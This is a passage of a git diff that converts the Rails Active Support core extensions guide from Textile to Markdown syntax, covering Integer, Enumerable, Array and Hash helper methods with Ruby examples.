111.2345.to_s(:rounded, :significant => true) # => 111 -</ruby> +``` Produce a string representation of a number as a human-readable number of bytes: -<ruby> +```ruby 123.to_s(:human_size) # => 123 Bytes 1234.to_s(:human_size) # => 1.21 KB 12345.to_s(:human_size) # => 12.1 KB 1234567.to_s(:human_size) # => 1.18 MB 1234567890.to_s(:human_size) # => 1.15 GB 1234567890123.to_s(:human_size) # => 1.12 TB -</ruby> +``` Produce a string representation of a number in human-readable words: -<ruby> +```ruby 123.to_s(:human) # => "123" 1234.to_s(:human) # => "1.23 Thousand" 12345.to_s(:human) # => "12.3 Thousand" @@ -1966,280 +1972,285 @@ Produce a string representation of a number in human-readable words: 1234567890.to_s(:human) # => "1.23 Billion" 1234567890123.to_s(:human) # => "1.23 Trillion" 1234567890123456.to_s(:human) # => "1.23 Quadrillion" -</ruby> +``` -NOTE: Defined in +active_support/core_ext/numeric/formatting.rb+. +NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`. -h3. Extensions to +Integer+ +Extensions to `Integer` +----------------------- -h4. +multiple_of?+ +### `multiple_of?` -The method +multiple_of?+ tests whether an integer is multiple of the argument: +The method `multiple_of?` tests whether an integer is multiple of the argument: -<ruby> +```ruby 2.multiple_of?(1) # => true 1.multiple_of?(2) # => false -</ruby> +``` -NOTE: Defined in +active_support/core_ext/integer/multiple.rb+. +NOTE: Defined in `active_support/core_ext/integer/multiple.rb`. -h4. +ordinal+ +### `ordinal` -The method +ordinal+ returns the ordinal suffix string corresponding to the receiver integer: +The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer: -<ruby> +```ruby 1.ordinal # => "st" 2.ordinal # => "nd" 53.ordinal # => "rd" 2009.ordinal # => "th" -21.ordinal # => "st" -134.ordinal # => "th" -</ruby> +``` -NOTE: Defined in +active_support/core_ext/integer/inflections.rb+. +NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. -h4. +ordinalize+ +### `ordinalize` -The method +ordinalize+ returns the ordinal string corresponding to the receiver integer. In comparison, note that the +ordinal+ method returns *only* the suffix string. +The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string. -<ruby> +```ruby 1.ordinalize # => "1st" 2.ordinalize # => "2nd" 53.ordinalize # => "53rd" 2009.ordinalize # => "2009th" -21.ordinalize # => "-21st" -134.ordinalize # => "-134th" -</ruby> +``` -NOTE: Defined in +active_support/core_ext/integer/inflections.rb+. +NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. -h3. Extensions to +BigDecimal+ +Extensions to `BigDecimal` +-------------------------- ... -h3. Extensions to +Enumerable+ +Extensions to `Enumerable` +-------------------------- -h4. +sum+ +### `sum` -The method +sum+ adds the elements of an enumerable: +The method `sum` adds the elements of an enumerable: -<ruby> +```ruby [1, 2, 3].sum # => 6 (1..100).sum # => 5050 -</ruby> +``` -Addition only assumes the elements respond to <tt>+</tt>: +Addition only assumes the elements respond to `+`: -<ruby> +```ruby [[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] %w(foo bar baz).sum # => "foobarbaz" {:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1] -</ruby> +``` The sum of an empty collection is zero by default, but this is customizable: -<ruby> +```ruby [].sum # => 0 [].sum(1) # => 1 -</ruby> +``` -If a block is given, +sum+ becomes an iterator that yields the elements of the collection and sums the returned values: +If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values: -<ruby> +```ruby (1..5).sum {|n| n * 2 } # => 30 [2, 4, 6, 8, 10].sum # => 30 -</ruby> +``` The sum of an empty receiver can be customized in this form as well: -<ruby> +```ruby [].sum(1) {|n| n**3} # => 1 -</ruby> +``` -The method +ActiveRecord::Observer#observed_subclasses+ for example is implemented this way: +The method `ActiveRecord::Observer#observed_subclasses` for example is implemented this way: -<ruby> +```ruby def observed_subclasses observed_classes.sum([]) { |klass| klass.send(:subclasses) } end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/enumerable.rb+. +NOTE: Defined in `active_support/core_ext/enumerable.rb`. -h4. +index_by+ +### `index_by` -The method +index_by+ generates a hash with the elements of an enumerable indexed by some key. +The method `index_by` generates a hash with the elements of an enumerable indexed by some key. It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block: -<ruby> +```ruby invoices.index_by(&:number) # => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...} -</ruby> +``` WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win. -NOTE: Defined in +active_support/core_ext/enumerable.rb+. +NOTE: Defined in `active_support/core_ext/enumerable.rb`. -h4. +many?+ +### `many?` -The method +many?+ is shorthand for +collection.size > 1+: +The method `many?` is shorthand for `collection.size > 1`: -<erb> +```erb <% if pages.many? %> <%= pagination_links %> <% end %> -</erb> +``` -If an optional block is given, +many?+ only takes into account those elements that return true: +If an optional block is given, `many?` only takes into account those elements that return true: -<ruby> +```ruby @see_more = videos.many? {|video| video.category == params[:category]} -</ruby> +``` -NOTE: Defined in +active_support/core_ext/enumerable.rb+. +NOTE: Defined in `active_support/core_ext/enumerable.rb`. -h4. +exclude?+ +### `exclude?` -The predicate +exclude?+ tests whether a given object does *not* belong to the collection. It is the negation of the built-in +include?+: +The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`: -<ruby> +```ruby to_visit << node if visited.exclude?(node) -</ruby> +``` -NOTE: Defined in +active_support/core_ext/enumerable.rb+. +NOTE: Defined in `active_support/core_ext/enumerable.rb`. -h3. Extensions to +Array+ +Extensions to `Array` +--------------------- -h4. Accessing +### Accessing -Active Support augments the API of arrays to ease certain ways of accessing them. For example, +to+ returns the subarray of elements up to the one at the passed index: +Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index: -<ruby> +```ruby %w(a b c d).to(2) # => %w(a b c) [].to(7) # => [] -</ruby> +``` -Similarly, +from+ returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array. +Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array. -<ruby> +```ruby %w(a b c d).from(2) # => %w(c d) %w(a b c d).from(10) # => [] [].from(0) # => [] -</ruby> +``` -The methods +second+, +third+, +fourth+, and +fifth+ return the corresponding element (+first+ is built-in). Thanks to social wisdom and positive constructiveness all around, +forty_two+ is also available. +The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available. -<ruby> +```ruby %w(a b c d).third # => c %w(a b c d).fifth # => nil -</ruby> +``` -NOTE: Defined in +active_support/core_ext/array/access.rb+. +NOTE: Defined in `active_support/core_ext/array/access.rb`. -h4. Adding Elements +### Adding Elements -h5. +prepend+ +#### `prepend` -This method is an alias of <tt>Array#unshift</tt>. +This method is an alias of `Array#unshift`. -<ruby> +```ruby %w(a b c d).prepend('e') # => %w(e a b c d) [].prepend(10) # => [10] -</ruby> +``` -NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. +NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. -h5. +append+ +#### `append` -This method is an alias of <tt>Array#<<</tt>. +This method is an alias of `Array#<<`. -<ruby> +```ruby %w(a b c d).append('e') # => %w(a b c d e) [].append([1,2]) # => [[1,2]] -</ruby> +``` -NOTE: Defined in +active_support/core_ext/array/prepend_and_append.rb+. +NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. -h4. Options Extraction +### Options Extraction -When the last argument in a method call is a hash, except perhaps for a +&block+ argument, Ruby allows you to omit the brackets: +When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets: -<ruby> +```ruby User.exists?(:email => params[:email]) -</ruby> +``` That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options. -If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role. +If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role. -In those cases, you may give an options hash a distinguished treatment with +extract_options!+. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash. +In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash. -Let's see for example the definition of the +caches_action+ controller macro: +Let's see for example the definition of the `caches_action` controller macro: -<ruby> +```ruby def caches_action(*actions) return unless cache_configured? options = actions.extract_options! ... end -</ruby> +``` -This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to +extract_options!+ you obtain the options hash and remove it from +actions+ in a simple and explicit way. +This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way. -NOTE: Defined in +active_support/core_ext/array/extract_options.rb+. +NOTE: Defined in `active_support/core_ext/array/extract_options.rb`. -h4(#array-conversions). Conversions +### Conversions -h5. +to_sentence+ +#### `to_sentence` -The method +to_sentence+ turns an array into a string containing a sentence that enumerates its items: +The method `to_sentence` turns an array into a string containing a sentence that enumerates its items: -<ruby> +```ruby %w().to_sentence # => "" %w(Earth).to_sentence # => "Earth" %w(Earth Wind).to_sentence # => "Earth and Wind" %w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire" -</ruby> +``` This method accepts three options: -* <tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is " and ". -* <tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". -* <tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is ", and ". +* `:two_words_connector`: What is used for arrays of length 2. Default is " and ". +* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". +* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ". The defaults for these options can be localised, their keys are: -|_. Option |_. I18n key | -| <tt>:two_words_connector</tt> | <tt>support.array.two_words_connector</tt> | -| <tt>:words_connector</tt> | <tt>support.array.words_connector</tt> | -| <tt>:last_word_connector</tt> | <tt>support.array.last_word_connector</tt> | +| Option | I18n key | +| ---------------------- | ----------------------------------- | +| `:two_words_connector` | `support.array.two_words_connector` | +| `:words_connector` | `support.array.words_connector` | +| `:last_word_connector` | `support.array.last_word_connector` | -Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated. +Options `:connector` and `:skip_last_comma` are deprecated. -NOTE: Defined in +active_support/core_ext/array/conversions.rb+. +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. -h5. +to_formatted_s+ +#### `to_formatted_s` -The method +to_formatted_s+ acts like +to_s+ by default. +The method `to_formatted_s` acts like `to_s` by default. -If the array contains items that respond to +id+, however, it may be passed the symbol <tt>:db</tt> as argument. That's typically used with collections of ARs. Returned strings are: +If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are: -<ruby> +```ruby [].to_formatted_s(:db) # => "null" [user].to_formatted_s(:db) # => "8456" invoice.lines.to_formatted_s(:db) # => "23,567,556,12" -</ruby> +``` -Integers in the example above are supposed to come from the respective calls to +id+. +Integers in the example above are supposed to come from the respective calls to `id`. -NOTE: Defined in +active_support/core_ext/array/conversions.rb+. +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. -h5. +to_xml+ +#### `to_xml` -The method +to_xml+ returns a string containing an XML representation of its receiver: +The method `to_xml` returns a string containing an XML representation of its receiver: -<ruby> +```ruby Contributor.limit(2).order(:rank).to_xml # => # <?xml version="1.0" encoding="UTF-8"?> @@ -2257,15 +2268,15 @@ Contributor.limit(2).order(:rank).to_xml # <url-id>david-heinemeier-hansson</url-id> # </contributor> # </contributors> -</ruby> +``` -To do so it sends +to_xml+ to every item in turn, and collects the results under a root node. All items must respond to +to_xml+, an exception is raised otherwise. +To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise. -By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that's "contributors". +By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors". If there's any element that does not belong to the type of the first one the root node becomes "objects": -<ruby> +```ruby [Contributor.first, Commit.first].to_xml # => # <?xml version="1.0" encoding="UTF-8"?> @@ -2289,11 +2300,11 @@ If there's any element that does not belong to the type of the first one the roo # <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1> # </object> # </objects> -</ruby> +``` If the receiver is an array of hashes the root element is by default also "objects": -<ruby> +```ruby [{:a => 1, :b => 2}, {:c => 3}].to_xml # => # <?xml version="1.0" encoding="UTF-8"?> @@ -2306,15 +2317,15 @@ If the receiver is an array of hashes the root element is by default also "objec # <c type="integer">3</c> # </object> # </objects> -</ruby> +``` -WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the <tt>:root</tt> option to ensure a consistent root element. +WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element. -The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option <tt>:children</tt> allows you to set these node names. +The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names. -The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder: +The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder: -<ruby> +```ruby Contributor.limit(2).order(:rank).to_xml(:skip_types => true) # => # <?xml version="1.0" encoding="UTF-8"?> @@ -2332,77 +2343,77 @@ Contributor.limit(2).order(:rank).to_xml(:skip_types => true) # <url-id>david-heinemeier-hansson</url-id> # </contributor> # </contributors> -</ruby> +``` -NOTE: Defined in +active_support/core_ext/array/conversions.rb+. +NOTE: Defined in `active_support/core_ext/array/conversions.rb`. -h4. Wrapping +### Wrapping -The method +Array.wrap+ wraps its argument in an array unless it is already an array (or array-like). +The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like). Specifically: -* If the argument is +nil+ an empty list is returned. -* Otherwise, if the argument responds to +to_ary+ it is invoked, and if the value of +to_ary+ is not +nil+, it is returned. +* If the argument is `nil` an empty list is returned. +* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned. * Otherwise, an array with the argument as its single element is returned. -<ruby> +```ruby Array.wrap(nil) # => [] Array.wrap([1, 2, 3]) # => [1, 2, 3] Array.wrap(0) # => [0] -</ruby> +``` -This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences: +This method is similar in purpose to `Kernel#Array`, but there are some differences: -* If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt> moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns +nil+ right away. -* If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value. -* It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array. +* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns `nil` right away. +* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value. +* It does not call `to_a` on the argument, though special-cases `nil` to return an empty array. The last point is particularly worth comparing for some enumerables: -<ruby> +```ruby Array.wrap(:foo => :bar) # => [{:foo => :bar}] Array(:foo => :bar) # => [[:foo, :bar]] -</ruby> +``` There's also a related idiom that uses the splat operator: -<ruby> +```ruby [*object] -</ruby> +``` -which in Ruby 1.8 returns +[nil]+ for +nil+, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.) +which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.) -Thus, in this case the behavior is different for +nil+, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of +object+s. +Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s. -NOTE: Defined in +active_support/core_ext/array/wrap.rb+. +NOTE: Defined in `active_support/core_ext/array/wrap.rb`. -h4. Duplicating +### Duplicating -The method +Array.deep_dup+ duplicates itself and all objects inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Array#map+ with sending +deep_dup+ method to each object inside. +The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. -<ruby> +```ruby array = [1, [2, 3]] dup = array.deep_dup dup[1][2] = 4 array[1][2] == nil # => true -</ruby> +``` -NOTE: Defined in +active_support/core_ext/array/deep_dup.rb+. +NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`. -h4. Grouping +### Grouping -h5. +in_groups_of(number, fill_with = nil)+ +#### `in_groups_of(number, fill_with = nil)` -The method +in_groups_of+ splits an array into consecutive groups of a certain size. It returns an array with the groups: +The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups: -<ruby> +```ruby [1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] -</ruby> +``` or yields them in turn if a block is passed: -<ruby> +```html+erb <% sample.in_groups_of(3) do |a, b, c| %> <tr> <td><%=h a %></td> @@ -2410,93 +2421,94 @@ or yields them in turn if a block is passed: <td><%=h c %></td> </tr> <% end %> -</ruby> +``` -The first example shows +in_groups_of+ fills the last group with as many +nil+ elements as needed to have the requested size. You can change this padding value using the second optional argument: +The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument: -<ruby> +```ruby [1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]] -</ruby> +``` -And you can tell the method not to fill the last group passing +false+: +And you can tell the method not to fill the last group passing `false`: -<ruby> +```ruby [1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]] -</ruby> +``` -As a consequence +false+ can't be a used as a padding value. +As a consequence `false` can't be a used as a padding value. -NOTE: Defined in +active_support/core_ext/array/grouping.rb+. +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. -h5. +in_groups(number, fill_with = nil)+ +#### `in_groups(number, fill_with = nil)` -The method +in_groups+ splits an array into a certain number of groups. The method returns an array with the groups: +The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups: -<ruby> +```ruby %w(1 2 3 4 5 6 7).in_groups(3) # => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]] -</ruby> +``` or yields them in turn if a block is passed: -<ruby> +```ruby %w(1 2 3 4 5 6 7).in_groups(3) {|group| p group} ["1", "2", "3"] ["4", "5", nil] ["6", "7", nil] -</ruby> +``` -The examples above show that +in_groups+ fills some groups with a trailing +nil+ element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones. +The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones. You can change this padding value using the second optional argument: -<ruby> +```ruby %w(1 2 3 4 5 6 7).in_groups(3, "0") # => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]] -</ruby> +``` -And you can tell the method not to fill the smaller groups passing +false+: +And you can tell the method not to fill the smaller groups passing `false`: -<ruby> +```ruby %w(1 2 3 4 5 6 7).in_groups(3, false) # => [["1", "2", "3"], ["4", "5"], ["6", "7"]] -</ruby> +``` -As a consequence +false+ can't be a used as a padding value. +As a consequence `false` can't be a used as a padding value. -NOTE: Defined in +active_support/core_ext/array/grouping.rb+. +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. -h5. +split(value = nil)+ +#### `split(value = nil)` -The method +split+ divides an array by a separator and returns the resulting chunks. +The method `split` divides an array by a separator and returns the resulting chunks. If a block is passed the separators are those elements of the array for which the block returns true: -<ruby> +```ruby (-5..5).to_a.split { |i| i.multiple_of?(4) } # => [[-5], [-3, -2, -1], [1, 2, 3], [5]] -</ruby> +``` -Otherwise, the value received as argument, which defaults to +nil+, is the separator: +Otherwise, the value received as argument, which defaults to `nil`, is the separator: -<ruby> +```ruby [0, 1, -5, 1, 1, "foo", "bar"].split(1) # => [[0], [-5], [], ["foo", "bar"]] -</ruby> +``` TIP: Observe in the previous example that consecutive separators result in empty arrays. -NOTE: Defined in +active_support/core_ext/array/grouping.rb+. +NOTE: Defined in `active_support/core_ext/array/grouping.rb`. -h3. Extensions to +Hash+ +Extensions to `Hash` +-------------------- -h4(#hash-conversions). Conversions +### Conversions -h5(#hash-to-xml). +to_xml+ +#### `to_xml` -The method +to_xml+ returns a string containing an XML representation of its receiver: +The method `to_xml` returns a string containing an XML representation of its receiver: -<ruby> +```ruby {"foo" => 1, "bar" => 2}.to_xml # => # <?xml version="1.0" encoding="UTF-8"?> @@ -2504,21 +2516,21 @@ The method +to_xml+ returns a string containing an XML representation of its rec # <foo type="integer">1</foo> # <bar type="integer">2</bar> # </hash> -</ruby> +``` -To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair +key+, +value+: +To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`: -* If +value+ is a hash there's a recursive call with +key+ as <tt>:root</tt>. +* If `value` is a hash there's a recursive call with `key` as `:root`. -* If +value+ is an array there's a recursive call with +key+ as <tt>:root</tt>, and +key+ singularized as <tt>:children</tt>. +* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`. -* If +value+ is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the +options+ hash as first argument with +key+ as <tt>:root</tt>, and +key+ singularized as second argument. Its return value becomes a new node. +* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node. -* If +value+ responds to +to_xml+ the method is invoked with +key+ as <tt>:root</tt>. +* If `value` responds to `to_xml` the method is invoked with `key` as `:root`. -* Otherwise, a node with +key+ as tag is created with a string representation of +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute "type" is added as well according to the following mapping: +* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping: -<ruby> +```ruby XML_TYPE_NAMES = { "Symbol" => "symbol", "Fixnum" => "integer", @@ -2531,77 +2543,77 @@ XML_TYPE_NAMES = { "DateTime" => "datetime", "Time" => "datetime" } -</ruby> +``` -By default the root node is "hash", but that's configurable via the <tt>:root</tt> option. +By default the root node is "hash", but that's configurable via the `:root` option. -The default XML builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder. +The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder. -NOTE: Defined in +active_support/core_ext/hash/conversions.rb+. +NOTE: Defined in `active_support/core_ext/hash/conversions.rb`. -h4. Merging +### Merging -Ruby has a built-in method +Hash#merge+ that merges two hashes: +Ruby has a built-in method `Hash#merge` that merges two hashes: -<ruby> +```ruby {:a => 1, :b => 1}.merge(:a => 0, :c => 2) # => {:a => 0, :b => 1, :c => 2} -</ruby> +``` Active Support defines a few more ways of merging hashes that may be convenient. -h5. +reverse_merge+ and +reverse_merge!+ +#### `reverse_merge` and `reverse_merge!` -In case of collision the key in the hash of the argument wins in +merge+. You can support option hashes with default values in a compact way with this idiom: +In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom: -<ruby> +```ruby options = {:length => 30, :omission => "..."}.merge(options) -</ruby> +``` -Active Support defines +reverse_merge+ in case you prefer this alternative notation: +Active Support defines `reverse_merge` in case you prefer this alternative notation: -<ruby> +```ruby options = options.reverse_merge(:length => 30, :omission => "...") -</ruby> +``` -And a bang version +reverse_merge!+ that performs the merge in place: +And a bang version `reverse_merge!` that performs the merge in place: -<ruby> +```ruby options.reverse_merge!(:length => 30, :omission => "...") -</ruby> +``` -WARNING. Take into account that +reverse_merge!+ may change the hash in the caller, which may or may not be a good idea. +WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea. -NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+. +NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. -h5. +reverse_update+ +#### `reverse_update` -The method +reverse_update+ is an alias for +reverse_merge!+, explained above. +The method `reverse_update` is an alias for `reverse_merge!`, explained above. -WARNING. Note that +reverse_update+ has no bang. +WARNING. Note that `reverse_update` has no bang. -NOTE: Defined in +active_support/core_ext/hash/reverse_merge.rb+. +NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. -h5. +deep_merge+ and +deep_merge!+ +#### `deep_merge` and `deep_merge!` As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins. -Active Support defines +Hash#deep_merge+. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash: +Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash: -<ruby> +```ruby {:a => {:b => 1}}.deep_merge(:a => {:c => 2}) # => {:a => {:b => 1, :c => 2}} -</ruby> +``` -The method +deep_merge!+ performs a deep merge in place. +The method `deep_merge!` performs a deep merge in place. -NOTE: Defined in +active_support/core_ext/hash/deep_merge.rb+. +NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. -h4. Deep duplicating +### Deep duplicating -The method +Hash.deep_dup+ duplicates itself and all keys and values inside recursively with ActiveSupport method +Object#deep_dup+. It works like +Enumerator#each_with_object+ with sending +deep_dup+ method to each pair inside. +The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. -<ruby> +```ruby hash = { :a => 1, :b => { :c => 2, :d => [3, 4] } } dup = hash.deep_dup @@ -2610,21 +2622,21 @@ dup[:b][:d] << 5 hash[:b][:e] == nil # => true hash[:b][:d] == [3, 4] # => true -</ruby> +``` -NOTE: Defined in +active_support/core_ext/hash/deep_dup.rb+. +NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`. -h4. Diffing +### Diffing -The method +diff+ returns a hash that represents a diff of the receiver and the argument with the following logic: +The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic: -* Pairs +key+, +value+ that exist in both hashes do not belong to the diff hash. +* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash. -* If both hashes have +key+, but with different values, the pair in the receiver wins. +* If both hashes have `key`, but with different values, the pair in the receiver wins. * The rest is just merged. -<ruby> +```ruby {:a => 1}.diff(:a => 1) # => {}, first rule @@ -2640,65 +2652,65 @@ The method +diff+ returns a hash that represents a diff of the receiver and the {}.diff({}) # => {} {:a => 1}.diff({}) # => {:a => 1} {}.diff(:a => 1) # => {:a => 1} -</ruby> +``` -An important property of this diff hash is that you can retrieve the original hash by applying +diff+ twice: +An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice: -<ruby> +```ruby hash.diff(hash2).diff(hash2) == hash -</ruby> +``` Diffing hashes may be useful for error messages related to expected option hashes for example. -NOTE: Defined in +active_support/core_ext/hash/diff.rb+. +NOTE: Defined in `active_support/core_ext/hash/diff.rb`. -h4. Working with Keys +### Working with Keys -h5. +except+ and +except!+ +#### `except` and `except!` -The method +except+ returns a hash with the keys in the argument list removed, if present: +The method `except` returns a hash with the keys in the argument list removed, if present: -<ruby> +```ruby {:a => 1, :b => 2}.except(:a) # => {:b => 2} -</ruby> +``` -If the receiver responds to +convert_key+, the method is called on each of the arguments. This allows +except+ to play nice with hashes with indifferent access for instance: +If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance: -<ruby> +```ruby {:a => 1}.with_indifferent_access.except(:a) # => {} {:a => 1}.with_indifferent_access.except("a") # => {} -</ruby> +``` -The method +except+ may come in handy for example when you want to protect some parameter that can't be globally protected with +attr_protected+: +The method `except` may come in handy for example when you want to protect some parameter that can't be globally protected with `attr_protected`: -<ruby> +```ruby params[:account] = params[:account].except(:plan_id) unless admin? @account.update_attributes(params[:account]) -</ruby> +``` -There's also the bang variant +except!+ that removes keys in the very receiver. +There's also the bang variant `except!` that removes keys in the very receiver. -NOTE: Defined in +active_support/core_ext/hash/except.rb+. +NOTE: Defined in `active_support/core_ext/hash/except.rb`. -h5. +transform_keys+ and +transform_keys!+ +#### `transform_keys` and `transform_keys!` -The method +transform_keys+ accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: +The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: -<ruby> +```ruby {nil => nil, 1 => 1, :a => :a}.transform_keys{ |key| key.to_s.upcase } # => {"" => nil, "A" => :a, "1" => 1} -</ruby> +``` The result in case of collision is undefined: -<ruby> +```ruby {"a" => 1, :a => 2}.transform_keys{ |key| key.to_s.upcase } # => {"A" => 2}, in my test, can't rely on this result though -</ruby> +``` -This method may be useful for example to build specialized 